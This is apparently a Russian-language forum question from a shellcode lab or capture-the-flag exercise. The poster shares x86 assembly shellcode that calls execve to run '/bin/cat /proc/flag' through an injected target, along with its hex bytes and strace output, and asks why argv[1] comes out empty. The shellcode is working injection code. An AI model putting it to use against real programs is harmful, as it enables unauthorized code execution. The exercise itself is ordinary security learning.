Ошибка при изменении массива "argv" для указания на "/ proc / flag" - PullRequest
0 голосов
/ 11 сентября 2018

Первоначальная задача состояла в том, чтобы изменить массив «argv», указав на «/ proc / flag». Я верю, что направляюсь в правильном направлении, но я могу пропустить шаг. Вопрос: я не уверен, где я ошибся в своем коде, "" должен указывать на proc / flag, но он указывает на пустую строку.

Я довольно далеко, вот мой код:

#include <sys/syscall.h>

#define STRING  "/bin/catN/proc/flagN"
#define STRLEN  7
#define STRLEN2 9
#define ARGV    18 
#define ENVP   26 /* ARGV+8 */

.intel_syntax noprefix
.text

.globl main
.type  main, @function

main:
  jmp     calladdr

popladdr:
  pop    esi                    /* esi points to STRING */
  mov    [esi + 18],esi         /* set up argv[0] pointer to pathname */
  xor    eax,eax                /* get a 32-bit zero value */
  mov    [8 + esi],al      /* null-terminate our string */
  mov    [17 + esi],al
  mov    ecx, [esi + 18]
  mov   [esi + 25],ecx
  mov    [26 + esi], eax      /*move 0 into envp
  mov    [

      /* set up null envp */

  mov    al,SYS_execve          /* syscall number */
  mov    ebx,esi                /* arg 1: string pathname */
  xor    ecx, ecx
  lea    ecx,[ARGV + esi]       /* arg 2: argv */
  lea    edx,[ENVP + esi]       /* arg 3: envp */
  int    0x80                   /* execve("/bin/sh", ["/bin/sh", NULL], [NULL]) */

  xor    ebx,ebx                /* arg 1: 0 */
  mov    eax,ebx
  inc    eax                    /* exit(0) */
  /* mov+inc to avoid null byte */
  int    0x80                   /* invoke syscall */

calladdr:
  call    popladdr
  .string STRING

Однако я получаю следующее:

bash -c '(cat shellcode.bin; echo; cat) | strace -e execve ./target'
 execve("./target", ["./target"], [/* 22 vars */]) = 0
 [ Process PID=13623 runs in 32 bit mode. ]
 > length: 69
 > 0000: EB 2A 5E 89 76 12 31 C0 88 46 08 88 46 11 8B 4E
 > 0010: 12 89 4E 19 89 46 1A B0 0B 89 F3 31 C9 8D 4E 12
 > 0020: 8D 56 1A CD 80 31 DB 89 D8 40 CD 80 E8 D1 FF FF
 > 0030: FF 2F 62 69 6E 2F 63 61 74 4E 2F 70 72 6F 63 2F
 > 0040: 66 6C 61 67 4E
 execve("/bin/cat", ["/bin/cat", ""], [/* 0 vars */]) = 0
 [ Process PID=13623 runs in 64 bit mode. ]
 /bin/cat: : No such file or directory
 +++ exited with 1 +++
...